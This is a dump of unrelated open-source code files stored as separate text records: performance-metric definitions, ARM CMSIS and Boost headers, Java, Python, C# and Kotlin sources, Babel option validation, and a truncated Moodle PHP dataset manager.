\"Average per-core data fill bandwidth to the L3 cache [GB / sec]\",\n \"MetricGroup\": \"Memory_BW\",\n \"MetricName\": \"L3_Cache_Fill_BW\"\n },\n {\n \"MetricExpr\": \"1000 * MEM_LOAD_UOPS_RETIRED.L1_MISS / INST_RETIRED.ANY\",\n \"BriefDescription\": \"L1 cache true misses per kilo instruction for retired demand loads\",\n \"MetricGroup\": \"Cache_Misses;\",\n \"MetricName\": \"L1MPKI\"\n },\n {\n \"MetricExpr\": \"1000 * MEM_LOAD_UOPS_RETIRED.L2_MISS / INST_RETIRED.ANY\",\n \"BriefDescription\": \"L2 cache true misses per kilo instruction for retired demand loads\",\n \"MetricGroup\": \"Cache_Misses;\",\n \"MetricName\": \"L2MPKI\"\n },\n {\n \"MetricExpr\": \"1000 * L2_RQSTS.MISS / INST_RETIRED.ANY\",\n \"BriefDescription\": \"L2 cache misses per kilo instruction for all request types (including speculative)\",\n \"MetricGroup\": \"Cache_Misses;\",\n \"MetricName\": \"L2MPKI_All\"\n },\n {\n \"MetricExpr\": \"1000 * ( L2_RQSTS.REFERENCES - L2_RQSTS.MISS ) / INST_RETIRED.ANY\",\n \"BriefDescription\": \"L2 cache hits per kilo instruction for all request types (including speculative)\",\n \"MetricGroup\": \"Cache_Misses;\",\n \"MetricName\": \"L2HPKI_All\"\n },\n {\n \"MetricExpr\": \"1000 * MEM_LOAD_UOPS_RETIRED.L3_MISS / INST_RETIRED.ANY\",\n \"BriefDescription\": \"L3 cache true misses per kilo instruction for retired demand loads\",\n \"MetricGroup\": \"Cache_Misses;\",\n \"MetricName\": \"L3MPKI\"\n },\n {\n \"MetricExpr\": \"CPU_CLK_UNHALTED.REF_TSC / msr@tsc@\",\n \"BriefDescription\": \"Average CPU Utilization\",\n \"MetricGroup\": \"Summary\",\n \"MetricName\": \"CPU_Utilization\"\n },\n {\n \"MetricExpr\": \"( (( 1 * ( FP_ARITH_INST_RETIRED.SCALAR_SINGLE + FP_ARITH_INST_RETIRED.SCALAR_DOUBLE ) + 2 * FP_ARITH_INST_RETIRED.128B_PACKED_DOUBLE + 4 * ( FP_ARITH_INST_RETIRED.128B_PACKED_SINGLE + FP_ARITH_INST_RETIRED.256B_PACKED_DOUBLE ) + 8 * FP_ARITH_INST_RETIRED.256B_PACKED_SINGLE )) / 1000000000 ) / duration_time\",\n \"BriefDescription\": \"Giga Floating Point Operations Per Second\",\n \"MetricGroup\": \"FLOPS;Summary\",\n \"MetricName\": \"GFLOPs\"\n },\n {\n \"MetricExpr\": \"CPU_CLK_UNHALTED.THREAD / CPU_CLK_UNHALTED.REF_TSC\",\n \"BriefDescription\": \"Average Frequency Utilization relative nominal frequency\",\n \"MetricGroup\": \"Power\",\n \"MetricName\": \"Turbo_Utilization\"\n },\n {\n \"MetricExpr\": \"1 - CPU_CLK_THREAD_UNHALTED.ONE_THREAD_ACTIVE / ( CPU_CLK_THREAD_UNHALTED.REF_XCLK_ANY / 2 ) if #SMT_on else 0\",\n \"BriefDescription\": \"Fraction of cycles where both hardware threads were active\",\n \"MetricGroup\": \"SMT;Summary\",\n \"MetricName\": \"SMT_2T_Utilization\"\n },\n {\n \"MetricExpr\": \"CPU_CLK_UNHALTED.REF_TSC:u / CPU_CLK_UNHALTED.REF_TSC\",\n \"BriefDescription\": \"Fraction of cycles spent in Kernel mode\",\n \"MetricGroup\": \"Summary\",\n \"MetricName\": \"Kernel_Utilization\"\n },\n {\n \"MetricExpr\": \"64 * ( arb@event\\\\=0x81\\\\,umask\\\\=0x1@ + arb@event\\\\=0x84\\\\,umask\\\\=0x1@ ) / 1000000 / duration_time / 1000\",\n \"BriefDescription\": \"Average external Memory Bandwidth Use for reads and writes [GB / sec]\",\n \"MetricGroup\": \"Memory_BW\",\n \"MetricName\": \"DRAM_BW_Use\"\n },\n {\n \"MetricExpr\": \"(cstate_core@c3\\\\-residency@ / msr@tsc@) * 100\",\n \"MetricGroup\": \"Power\",\n \"BriefDescription\": \"C3 residency percent per core\",\n \"MetricName\": \"C3_Core_Residency\"\n },\n {\n \"MetricExpr\": \"(cstate_core@c6\\\\-residency@ / msr@tsc@) * 100\",\n \"MetricGroup\": \"Power\",\n \"BriefDescription\": \"C6 residency percent per core\",\n \"MetricName\": \"C6_Core_Residency\"\n },\n {\n \"MetricExpr\": \"(cstate_core@c7\\\\-residency@ / msr@tsc@) * 100\",\n \"MetricGroup\": \"Power\",\n \"BriefDescription\": \"C7 residency percent per core\",\n \"MetricName\": \"C7_Core_Residency\"\n },\n {\n \"MetricExpr\": \"(cstate_pkg@c2\\\\-residency@ / msr@tsc@) * 100\",\n \"MetricGroup\": \"Power\",\n \"BriefDescription\": \"C2 residency percent per package\",\n \"MetricName\": \"C2_Pkg_Residency\"\n },\n {\n \"MetricExpr\": \"(cstate_pkg@c3\\\\-residency@ / msr@tsc@) * 100\",\n \"MetricGroup\": \"Power\",\n \"BriefDescription\": \"C3 residency percent per package\",\n \"MetricName\": \"C3_Pkg_Residency\"\n },\n {\n \"MetricExpr\": \"(cstate_pkg@c6\\\\-residency@ / msr@tsc@) * 100\",\n \"MetricGroup\": \"Power\",\n \"BriefDescription\": \"C6 residency percent per package\",\n \"MetricName\": \"C6_Pkg_Residency\"\n },\n {\n \"MetricExpr\": \"(cstate_pkg@c7\\\\-residency@ / msr@tsc@) * 100\",\n \"MetricGroup\": \"Power\",\n \"BriefDescription\": \"C7 residency percent per package\",\n \"MetricName\": \"C7_Pkg_Residency\"\n }\n]\n"} +{"text": "/* ----------------------------------------------------------------------\r\n* Copyright (C) 2010-20134 ARM Limited. All rights reserved.\r\n*\r\n* $Date: 12. March 2014\r\n* $Revision: \tV1.4.3\r\n*\r\n* Project: \t CMSIS DSP Library\r\n* Title:\t arm_const_structs.h\r\n*\r\n* Description:\tThis file has constant structs that are initialized for\r\n* user convenience. For example, some can be given as\r\n* arguments to the arm_cfft_f32() function.\r\n*\r\n* Target Processor: Cortex-M4/Cortex-M3\r\n*\r\n* Redistribution and use in source and binary forms, with or without\r\n* modification, are permitted provided that the following conditions\r\n* are met:\r\n* - Redistributions of source code must retain the above copyright\r\n* notice, this list of conditions and the following disclaimer.\r\n* - Redistributions in binary form must reproduce the above copyright\r\n* notice, this list of conditions and the following disclaimer in\r\n* the documentation and/or other materials provided with the\r\n* distribution.\r\n* - Neither the name of ARM LIMITED nor the names of its contributors\r\n* may be used to endorse or promote products derived from this\r\n* software without specific prior written permission.\r\n*\r\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\r\n* \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\r\n* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\r\n* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\r\n* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\r\n* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\r\n* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\r\n* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\r\n* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\r\n* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\r\n* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\r\n* POSSIBILITY OF SUCH DAMAGE.\r\n* -------------------------------------------------------------------- */\r\n\r\n#ifndef _ARM_CONST_STRUCTS_H\r\n#define _ARM_CONST_STRUCTS_H\r\n\r\n#include \"arm_math.h\"\r\n#include \"arm_common_tables.h\"\r\n\r\n extern const arm_cfft_instance_f32 arm_cfft_sR_f32_len16;\r\n extern const arm_cfft_instance_f32 arm_cfft_sR_f32_len32;\r\n extern const arm_cfft_instance_f32 arm_cfft_sR_f32_len64;\r\n extern const arm_cfft_instance_f32 arm_cfft_sR_f32_len128;\r\n extern const arm_cfft_instance_f32 arm_cfft_sR_f32_len256;\r\n extern const arm_cfft_instance_f32 arm_cfft_sR_f32_len512;\r\n extern const arm_cfft_instance_f32 arm_cfft_sR_f32_len1024;\r\n extern const arm_cfft_instance_f32 arm_cfft_sR_f32_len2048;\r\n extern const arm_cfft_instance_f32 arm_cfft_sR_f32_len4096;\r\n\r\n#endif\r\n"} +{"text": "package test.jpms.i;\n\nimport java.util.Collections;\n\nimport javax.enterprise.inject.spi.Extension;\nimport javax.json.Json;\nimport javax.json.JsonObject;\nimport javax.json.bind.JsonbBuilder;\n\npublic class Foo implements Extension {\n\n\tpublic JsonObject toJSON() {\n\t\treturn Json.createObjectBuilder()\n\t\t\t.add(\"foo\", \"bar\")\n\t\t\t.build();\n\t}\n\n\tpublic String toJSONB() {\n\t\treturn JsonbBuilder.create()\n\t\t\t.toJson(Collections.singletonMap(\"foo\", \"bar\"));\n\t}\n}\n"} +{"text": "#pragma once\n\n/***************************************************************\n * This source files comes from the xLights project\n * https://www.xlights.org\n * https://github.com/smeighan/xLights\n * See the github commit history for a record of contributing\n * developers.\n * Copyright claimed based on commit dates recorded in Github\n * License: https://github.com/smeighan/xLights/blob/master/License.txt\n **************************************************************/\n\n //(*Headers(SetDialog)\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n//*)\n\nclass OutputManager;\n\nclass SetDialog: public wxDialog\n{\n std::string& _startChannel;\n size_t& _channels;\n size_t& _value;\n std::string& _description;\n bool& _enabled;\n OutputManager* _outputManager;\n\n void ValidateWindow();\n\n\tpublic:\n\n\t\tSetDialog(wxWindow* parent, OutputManager* outputManager, std::string& startChannel, size_t& channels, size_t& value, std::string& description, bool& enabled, wxWindowID id=wxID_ANY,const wxPoint& pos=wxDefaultPosition,const wxSize& size=wxDefaultSize);\n\t\tvirtual ~SetDialog();\n\n\t\t//(*Declarations(SetDialog)\n\t\twxButton* Button_Cancel;\n\t\twxButton* Button_Ok;\n\t\twxCheckBox* CheckBox_Enabled;\n\t\twxSpinCtrl* SpinCtrl_Channels;\n\t\twxSpinCtrl* SpinCtrl_Value;\n\t\twxStaticText* StaticText1;\n\t\twxStaticText* StaticText2;\n\t\twxStaticText* StaticText3;\n\t\twxStaticText* StaticText4;\n\t\twxStaticText* StaticText_StartChannel;\n\t\twxTextCtrl* TextCtrl_Description;\n\t\twxTextCtrl* TextCtrl_StartChannel;\n\t\t//*)\n\n\tprotected:\n\n\t\t//(*Identifiers(SetDialog)\n\t\tstatic const long ID_STATICTEXT1;\n\t\tstatic const long ID_TEXTCTRL2;\n\t\tstatic const long ID_STATICTEXT5;\n\t\tstatic const long ID_STATICTEXT2;\n\t\tstatic const long ID_SPINCTRL2;\n\t\tstatic const long ID_STATICTEXT3;\n\t\tstatic const long ID_SPINCTRL3;\n\t\tstatic const long ID_STATICTEXT4;\n\t\tstatic const long ID_TEXTCTRL1;\n\t\tstatic const long ID_CHECKBOX1;\n\t\tstatic const long ID_BUTTON1;\n\t\tstatic const long ID_BUTTON2;\n\t\t//*)\n\n\tprivate:\n\n\t\t//(*Handlers(SetDialog)\n\t\tvoid OnButton_OkClick(wxCommandEvent& event);\n\t\tvoid OnButton_CancelClick(wxCommandEvent& event);\n\t\tvoid OnTextCtrl_StartChannelText(wxCommandEvent& event);\n\t\t//*)\n\n\t\tDECLARE_EVENT_TABLE()\n};\n\n"} +{"text": "#define CRYPTO_BYTES 16\n#define CRYPTO_KEYBYTES 32\n"} +{"text": "\n\n

    Time is: {{myTime}}
    showMinutes: {{showMin}}
    showSeconds: {{showSec}}
    \n\n\n\n"} +{"text": "# /* **************************************************************************\n# * *\n# * (C) Copyright Paul Mensonides 2002.\n# * Distributed under the Boost Software License, Version 1.0. (See\n# * accompanying file LICENSE_1_0.txt or copy at\n# * http://www.boost.org/LICENSE_1_0.txt)\n# * *\n# ************************************************************************** */\n#\n# /* See http://www.boost.org for most recent version. */\n#\n# ifndef BOOST_PREPROCESSOR_FOR_HPP\n# define BOOST_PREPROCESSOR_FOR_HPP\n#\n# include \n#\n# endif\n"} +{"text": "import unittest\nimport warnings\n\nimport torchbearer\nfrom torchbearer.state import State\n\n\nclass TestStateKey(unittest.TestCase):\n def test_key_metric(self):\n key = torchbearer.state_key('test')\n state = {key: 4}\n\n self.assertDictEqual(key.process(state), {str(key): 4})\n self.assertDictEqual(key.process_final(state), {str(key): 4})\n\n def test_key_call(self):\n key = torchbearer.state_key('call_test')\n state = {key: 'test'}\n\n self.assertEqual(key(state), 'test')\n\n def test_key_repr(self):\n key = torchbearer.state_key('repr_test')\n self.assertEqual(str(key), 'repr_test')\n self.assertEqual(repr(key), 'repr_test')\n\n def test_key_added(self):\n key = torchbearer.state_key('key')\n self.assertTrue('key' in torchbearer.state.__keys__)\n\n def test_collision(self):\n _ = torchbearer.state_key('test')\n key_1 = torchbearer.state_key('test')\n key_2 = torchbearer.state_key('test')\n\n self.assertTrue('test' != str(key_1))\n self.assertTrue('test' != str(key_2))\n\n def test_duplicate_string(self):\n _ = torchbearer.state_key('test_dup')\n key_1 = torchbearer.state_key('test_dup')\n key_2 = torchbearer.state_key('test_dup')\n\n self.assertTrue('test_dup_1' == str(key_1))\n self.assertTrue('test_dup_2' == str(key_2))\n\n def test_compare_to_statekey(self):\n key_1 = torchbearer.state_key('test_compare_sk')\n key_2 = torchbearer.state_key('test_compare_sk_2')\n # Simulates same key in different sessions where the object hash is changed\n key_2.key = 'test_compare_sk'\n self.assertEqual(key_1, key_2)\n\n def test_compare_to_string(self):\n key_1 = torchbearer.state_key('test_compare')\n self.assertEqual(key_1, 'test_compare')\n\n\nclass TestState(unittest.TestCase):\n def test_contains(self):\n s = State()\n\n key1 = torchbearer.state_key('test_a')\n key2 = torchbearer.state_key('test_b')\n\n s[key1] = 1\n s[key2] = 2\n\n self.assertTrue(s.__contains__(key1))\n\n def test_delete(self):\n s = State()\n\n key1 = torchbearer.state_key('test_a')\n key2 = torchbearer.state_key('test_b')\n\n s[key1] = 1\n s[key2] = 2\n\n self.assertTrue(s.__contains__(key1))\n s.__delitem__(key1)\n self.assertFalse(s.__contains__(key1))\n\n def test_update(self):\n s = State()\n\n key1 = torchbearer.state_key('test_a')\n key2 = torchbearer.state_key('test_b')\n\n new_s = {key1: 1, key2: 2}\n s.update(new_s)\n\n self.assertTrue(s.__contains__(key1))\n self.assertTrue(s[key1] == 1)\n\n def test_update_state(self):\n s = State()\n new_s = State()\n\n key1 = torchbearer.state_key('test_a')\n key2 = torchbearer.state_key('test_b')\n\n new_s_dict = {key1: 1, key2: 2}\n new_s.update(new_s_dict)\n\n s.update(new_s)\n self.assertTrue(s.__contains__(key1))\n self.assertTrue(s[key1] == 1)\n\n def test_warn(self):\n s = State()\n\n key1 = torchbearer.state_key('test_a')\n key2 = torchbearer.state_key('test_b')\n\n with warnings.catch_warnings(record=True) as w:\n warnings.simplefilter('always')\n\n s[key1] = 'key_1'\n s[key2] = 'key_2'\n s['bad_key'] = 'bad_key'\n self.assertTrue(len(w) == 1)\n self.assertTrue('State was accessed with a string' in str(w[-1].message))\n"} +{"text": "// Copyright (c) 2016 Framefield. All rights reserved.\r\n// Released under the MIT license. (see LICENSE.txt)\r\n\r\nusing System;\r\nusing System.Globalization;\r\nusing Newtonsoft.Json;\r\n\r\nnamespace Framefield.Core\r\n{\r\n\r\n public enum FunctionType\r\n {\r\n Generic = 0,\r\n Float,\r\n Text,\r\n Scene,\r\n Image,\r\n Dynamic,\r\n Mesh\r\n }\r\n\r\n public interface IValue\r\n {\r\n FunctionType Type { get; }\r\n OperatorPartContext SetValueInContext(OperatorPartContext context);\r\n void SetValueFromContext(OperatorPartContext context);\r\n\r\n [JsonIgnore]\r\n bool Cacheable { get; }\r\n\r\n IValue Clone();\r\n }\r\n\r\n public abstract class Value\r\n {\r\n public T Val { get; set; }\r\n\r\n public Value(T value)\r\n {\r\n Val = value;\r\n }\r\n\r\n public override string ToString()\r\n {\r\n return Val.ToString();\r\n }\r\n }\r\n\r\n public class Float : Value, IValue\r\n {\r\n public Float(float f) : base(f)\r\n {\r\n }\r\n\r\n public FunctionType Type { get { return FunctionType.Float; } }\r\n\r\n public OperatorPartContext SetValueInContext(OperatorPartContext context)\r\n {\r\n context.Value = Val;\r\n return context;\r\n }\r\n\r\n public void SetValueFromContext(OperatorPartContext context)\r\n {\r\n Val = context.Value;\r\n }\r\n\r\n public bool Cacheable { get { return true; } }\r\n\r\n public IValue Clone()\r\n {\r\n return new Float(Val);\r\n }\r\n }\r\n\r\n public class Text : Value, IValue\r\n {\r\n public Text(string s) : base(s)\r\n {\r\n }\r\n\r\n public FunctionType Type { get { return FunctionType.Text; } }\r\n\r\n public OperatorPartContext SetValueInContext(OperatorPartContext context)\r\n {\r\n context.Text = Val;\r\n return context;\r\n }\r\n\r\n public void SetValueFromContext(OperatorPartContext context)\r\n {\r\n Val = context.Text;\r\n }\r\n\r\n public bool Cacheable { get { return true; } }\r\n\r\n public IValue Clone()\r\n {\r\n return new Text(Val);\r\n }\r\n }\r\n\r\n public class Image : IValue\r\n {\r\n public FunctionType Type { get { return FunctionType.Image; } }\r\n\r\n public OperatorPartContext SetValueInContext(OperatorPartContext context)\r\n {\r\n return context;\r\n }\r\n\r\n public void SetValueFromContext(OperatorPartContext context)\r\n {\r\n }\r\n\r\n public bool Cacheable { get { return false; } }\r\n\r\n public IValue Clone()\r\n {\r\n return new Image();\r\n }\r\n }\r\n\r\n public class Scene : IValue\r\n {\r\n public FunctionType Type { get { return FunctionType.Scene; } }\r\n\r\n public OperatorPartContext SetValueInContext(OperatorPartContext context)\r\n {\r\n return context;\r\n }\r\n\r\n public void SetValueFromContext(OperatorPartContext context)\r\n {\r\n }\r\n\r\n public bool Cacheable { get { return false; } }\r\n\r\n public IValue Clone()\r\n {\r\n return new Scene();\r\n }\r\n }\r\n\r\n public class Generic : IValue\r\n {\r\n public FunctionType Type { get { return FunctionType.Generic; } }\r\n\r\n public OperatorPartContext SetValueInContext(OperatorPartContext context)\r\n {\r\n return context;\r\n }\r\n\r\n public void SetValueFromContext(OperatorPartContext context)\r\n {\r\n }\r\n\r\n public bool Cacheable { get { return false; } }\r\n\r\n public IValue Clone()\r\n {\r\n return new Generic();\r\n }\r\n }\r\n\r\n public class Dynamic : IValue\r\n {\r\n public FunctionType Type { get { return FunctionType.Dynamic; } }\r\n\r\n public OperatorPartContext SetValueInContext(OperatorPartContext context)\r\n {\r\n return context;\r\n }\r\n\r\n public void SetValueFromContext(OperatorPartContext context)\r\n {\r\n }\r\n\r\n public bool Cacheable { get { return false; } }\r\n\r\n public IValue Clone()\r\n {\r\n return new Dynamic();\r\n }\r\n }\r\n\r\n public class MeshValue : IValue\r\n {\r\n public FunctionType Type { get { return FunctionType.Mesh; } }\r\n\r\n public OperatorPartContext SetValueInContext(OperatorPartContext context)\r\n {\r\n return context;\r\n }\r\n\r\n public void SetValueFromContext(OperatorPartContext context)\r\n {\r\n }\r\n\r\n public bool Cacheable { get { return false; } }\r\n \r\n public IValue Clone()\r\n {\r\n return new MeshValue();\r\n }\r\n }\r\n\r\n\r\n public static class ValueUtilities\r\n {\r\n public static IValue CreateValue(string type, string value)\r\n {\r\n switch (type)\r\n {\r\n case \"Float\":\r\n var floatValue = 0.0f;\r\n float.TryParse(value, NumberStyles.Float, CultureInfo.InvariantCulture, out floatValue);\r\n return new Float(floatValue);\r\n case \"Text\":\r\n return new Text(value);\r\n case \"Image\":\r\n return new Image();\r\n case \"Scene\":\r\n return new Scene();\r\n case \"Generic\":\r\n return new Generic();\r\n case \"Dynamic\":\r\n return new Dynamic();\r\n case \"Mesh\":\r\n return new MeshValue();\r\n }\r\n throw new Exception(\"Unknown value type found\");\r\n }\r\n\r\n public static string GetValueForTypeFromContext(FunctionType type, OperatorPartContext context)\r\n {\r\n switch (type)\r\n {\r\n case FunctionType.Float:\r\n return context.Value.ToString();\r\n case FunctionType.Text:\r\n return context.Text;\r\n default:\r\n return String.Empty;\r\n }\r\n }\r\n }\r\n\r\n}\r\n"} +{"text": "package studio.forface.materialbottombar.navigation.dsl\n\nimport androidx.navigation.NavController\nimport studio.forface.materialbottombar.navigation.AbsMaterialNavPanel\n\n/**\n * @author Davide Giuseppe Farella\n * Crate a [MaterialNavDrawer] via dsl\n *\n * @see NavDrawerBuilder\n */\n@Suppress(\"unused\")\ninline fun navDrawer(\n navController: NavController? = null,\n wrapToContent: Boolean = false,\n f: NavDrawerBuilder.() -> Unit\n): MaterialNavDrawer {\n val builder = NavDrawerBuilder( navController, wrapToContent )\n builder.f()\n return builder.build()\n}\n\n/** A typealias of [NavPanelBuilder] for Drawer */\ntypealias NavDrawerBuilder = NavPanelBuilder\n\n/** A typealias of [AbsMaterialNavPanel] for Drawer */\ntypealias MaterialNavDrawer = AbsMaterialNavPanel"} +{"text": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n value: true\n});\nexports.validate = validate;\n\nvar _plugin = _interopRequireDefault(require(\"../plugin\"));\n\nvar _removed = _interopRequireDefault(require(\"./removed\"));\n\nvar _optionAssertions = require(\"./option-assertions\");\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nconst ROOT_VALIDATORS = {\n cwd: _optionAssertions.assertString,\n root: _optionAssertions.assertString,\n rootMode: _optionAssertions.assertRootMode,\n configFile: _optionAssertions.assertConfigFileSearch,\n caller: _optionAssertions.assertCallerMetadata,\n filename: _optionAssertions.assertString,\n filenameRelative: _optionAssertions.assertString,\n code: _optionAssertions.assertBoolean,\n ast: _optionAssertions.assertBoolean,\n envName: _optionAssertions.assertString\n};\nconst BABELRC_VALIDATORS = {\n babelrc: _optionAssertions.assertBoolean,\n babelrcRoots: _optionAssertions.assertBabelrcSearch\n};\nconst NONPRESET_VALIDATORS = {\n extends: _optionAssertions.assertString,\n ignore: _optionAssertions.assertIgnoreList,\n only: _optionAssertions.assertIgnoreList\n};\nconst COMMON_VALIDATORS = {\n inputSourceMap: _optionAssertions.assertInputSourceMap,\n presets: _optionAssertions.assertPluginList,\n plugins: _optionAssertions.assertPluginList,\n passPerPreset: _optionAssertions.assertBoolean,\n env: assertEnvSet,\n overrides: assertOverridesList,\n test: _optionAssertions.assertConfigApplicableTest,\n include: _optionAssertions.assertConfigApplicableTest,\n exclude: _optionAssertions.assertConfigApplicableTest,\n retainLines: _optionAssertions.assertBoolean,\n comments: _optionAssertions.assertBoolean,\n shouldPrintComment: _optionAssertions.assertFunction,\n compact: _optionAssertions.assertCompact,\n minified: _optionAssertions.assertBoolean,\n auxiliaryCommentBefore: _optionAssertions.assertString,\n auxiliaryCommentAfter: _optionAssertions.assertString,\n sourceType: _optionAssertions.assertSourceType,\n wrapPluginVisitorMethod: _optionAssertions.assertFunction,\n highlightCode: _optionAssertions.assertBoolean,\n sourceMaps: _optionAssertions.assertSourceMaps,\n sourceMap: _optionAssertions.assertSourceMaps,\n sourceFileName: _optionAssertions.assertString,\n sourceRoot: _optionAssertions.assertString,\n getModuleId: _optionAssertions.assertFunction,\n moduleRoot: _optionAssertions.assertString,\n moduleIds: _optionAssertions.assertBoolean,\n moduleId: _optionAssertions.assertString,\n parserOpts: _optionAssertions.assertObject,\n generatorOpts: _optionAssertions.assertObject\n};\n\nfunction getSource(loc) {\n return loc.type === \"root\" ? loc.source : getSource(loc.parent);\n}\n\nfunction validate(type, opts) {\n return validateNested({\n type: \"root\",\n source: type\n }, opts);\n}\n\nfunction validateNested(loc, opts) {\n const type = getSource(loc);\n assertNoDuplicateSourcemap(opts);\n Object.keys(opts).forEach(key => {\n const optLoc = {\n type: \"option\",\n name: key,\n parent: loc\n };\n\n if (type === \"preset\" && NONPRESET_VALIDATORS[key]) {\n throw new Error(`${(0, _optionAssertions.msg)(optLoc)} is not allowed in preset options`);\n }\n\n if (type !== \"arguments\" && ROOT_VALIDATORS[key]) {\n throw new Error(`${(0, _optionAssertions.msg)(optLoc)} is only allowed in root programmatic options`);\n }\n\n if (type !== \"arguments\" && type !== \"configfile\" && BABELRC_VALIDATORS[key]) {\n if (type === \"babelrcfile\" || type === \"extendsfile\") {\n throw new Error(`${(0, _optionAssertions.msg)(optLoc)} is not allowed in .babelrc or \"extends\"ed files, only in root programmatic options, ` + `or babel.config.js/config file options`);\n }\n\n throw new Error(`${(0, _optionAssertions.msg)(optLoc)} is only allowed in root programmatic options, or babel.config.js/config file options`);\n }\n\n const validator = COMMON_VALIDATORS[key] || NONPRESET_VALIDATORS[key] || BABELRC_VALIDATORS[key] || ROOT_VALIDATORS[key] || throwUnknownError;\n validator(optLoc, opts[key]);\n });\n return opts;\n}\n\nfunction throwUnknownError(loc) {\n const key = loc.name;\n\n if (_removed.default[key]) {\n const {\n message,\n version = 5\n } = _removed.default[key];\n throw new ReferenceError(`Using removed Babel ${version} option: ${(0, _optionAssertions.msg)(loc)} - ${message}`);\n } else {\n const unknownOptErr = `Unknown option: ${(0, _optionAssertions.msg)(loc)}. Check out https://babeljs.io/docs/en/babel-core/#options for more information about options.`;\n throw new ReferenceError(unknownOptErr);\n }\n}\n\nfunction has(obj, key) {\n return Object.prototype.hasOwnProperty.call(obj, key);\n}\n\nfunction assertNoDuplicateSourcemap(opts) {\n if (has(opts, \"sourceMap\") && has(opts, \"sourceMaps\")) {\n throw new Error(\".sourceMap is an alias for .sourceMaps, cannot use both\");\n }\n}\n\nfunction assertEnvSet(loc, value) {\n if (loc.parent.type === \"env\") {\n throw new Error(`${(0, _optionAssertions.msg)(loc)} is not allowed inside of another .env block`);\n }\n\n const parent = loc.parent;\n const obj = (0, _optionAssertions.assertObject)(loc, value);\n\n if (obj) {\n for (const envName of Object.keys(obj)) {\n const env = (0, _optionAssertions.assertObject)((0, _optionAssertions.access)(loc, envName), obj[envName]);\n if (!env) continue;\n const envLoc = {\n type: \"env\",\n name: envName,\n parent\n };\n validateNested(envLoc, env);\n }\n }\n\n return obj;\n}\n\nfunction assertOverridesList(loc, value) {\n if (loc.parent.type === \"env\") {\n throw new Error(`${(0, _optionAssertions.msg)(loc)} is not allowed inside an .env block`);\n }\n\n if (loc.parent.type === \"overrides\") {\n throw new Error(`${(0, _optionAssertions.msg)(loc)} is not allowed inside an .overrides block`);\n }\n\n const parent = loc.parent;\n const arr = (0, _optionAssertions.assertArray)(loc, value);\n\n if (arr) {\n for (const [index, item] of arr.entries()) {\n const objLoc = (0, _optionAssertions.access)(loc, index);\n const env = (0, _optionAssertions.assertObject)(objLoc, item);\n if (!env) throw new Error(`${(0, _optionAssertions.msg)(objLoc)} must be an object`);\n const overridesLoc = {\n type: \"overrides\",\n index,\n parent\n };\n validateNested(overridesLoc, env);\n }\n }\n\n return arr;\n}"} +{"text": ".\n\n/**\n * Datasets manager.\n *\n * @package core_analytics\n * @copyright 2016 David Monllao {@link http://www.davidmonllao.com}\n * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n */\n\nnamespace core_analytics;\n\ndefined('MOODLE_INTERNAL') || die();\n\n/**\n * Datasets manager.\n *\n * @package core_analytics\n * @copyright 2016 David Monllao {@link http://www.davidmonllao.com}\n * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n */\nclass dataset_manager {\n\n /**\n * File area for labelled datasets.\n */\n const LABELLED_FILEAREA = 'labelled';\n\n /**\n * File area for unlabelled datasets.\n */\n const UNLABELLED_FILEAREA = 'unlabelled';\n\n /**\n * File area for exported datasets.\n */\n const EXPORT_FILEAREA = 'export';\n\n /**\n * Evaluation file file name.\n */\n const EVALUATION_FILENAME = 'evaluation.csv';\n\n /**\n * The model id.\n *\n * @var int\n */\n protected $modelid;\n\n /**\n * Range processor in use.\n *\n * @var string\n */\n protected $timesplittingid;\n\n /**\n * @var int\n */\n protected $analysableid;\n\n /**\n * Whether this is a dataset for evaluation or not.\n *\n * @var bool\n */\n protected $evaluation;\n\n /**\n * The dataset filearea. Must be one of the self::*_FILEAREA options.\n *\n * @var string\n */\n protected $filearea;\n\n /**\n * Constructor method.\n *\n * @throws \\coding_exception\n * @param int $modelid\n * @param int $analysableid\n * @param string $timesplittingid\n * @param string $filearea\n * @param bool $evaluation\n * @return void\n */\n public function __construct($modelid, $analysableid, $timesplittingid, $filearea, $evaluation = false) {\n\n if ($filearea !== self::EXPORT_FILEAREA && $filearea !== self::LABELLED_FILEAREA &&\n $filearea !== self::UNLABELLED_FILEAREA) {\n throw new \\coding_exception('Invalid provided filearea');\n }\n\n $this->modelid = $modelid;\n $this->analysableid = $analysableid;\n $this->timesplittingid = $timesplittingid;\n $this->filearea = $filearea;\n $this->evaluation = $evaluation;\n }\n\n /**\n * Store the dataset in the internal file system.\n *\n * @param array $data\n * @return \\stored_file\n */\n public function store($data) {\n\n // Delete previous file if it exists.\n $fs = get_file_storage();\n\n $filerecord = [\n 'component' => 'analytics',\n 'filearea' => $this->filearea,\n 'itemid' => $this->modelid,\n 'contextid' => \\context_system::instance()->id,\n 'filepath' => '/analysable/' . $this->analysableid . '/' .\n \\core_analytics\\analysis::clean_time_splitting_id($this->timesplittingid) . '/',\n 'filename' => self::get_filename($this->evaluation)\n ];\n\n // Delete previous and old (we already checked that previous copies are not recent) evaluation files for this analysable.\n if ($this->evaluation) {\n $select = \" = {$filerecord['itemid']} AND filepath = :filepath\";\n $fs->delete_area_files_select($filerecord['contextid'], $filerecord['component'], $filerecord['filearea'],\n $select, array('filepath' => $filerecord['filepath']));\n }\n\n // Write all this stuff to a tmp file.\n $filepath = make_request_directory() . DIRECTORY_SEPARATOR . $filerecord['filename'];\n $fh = fopen($filepath, 'w+');\n if 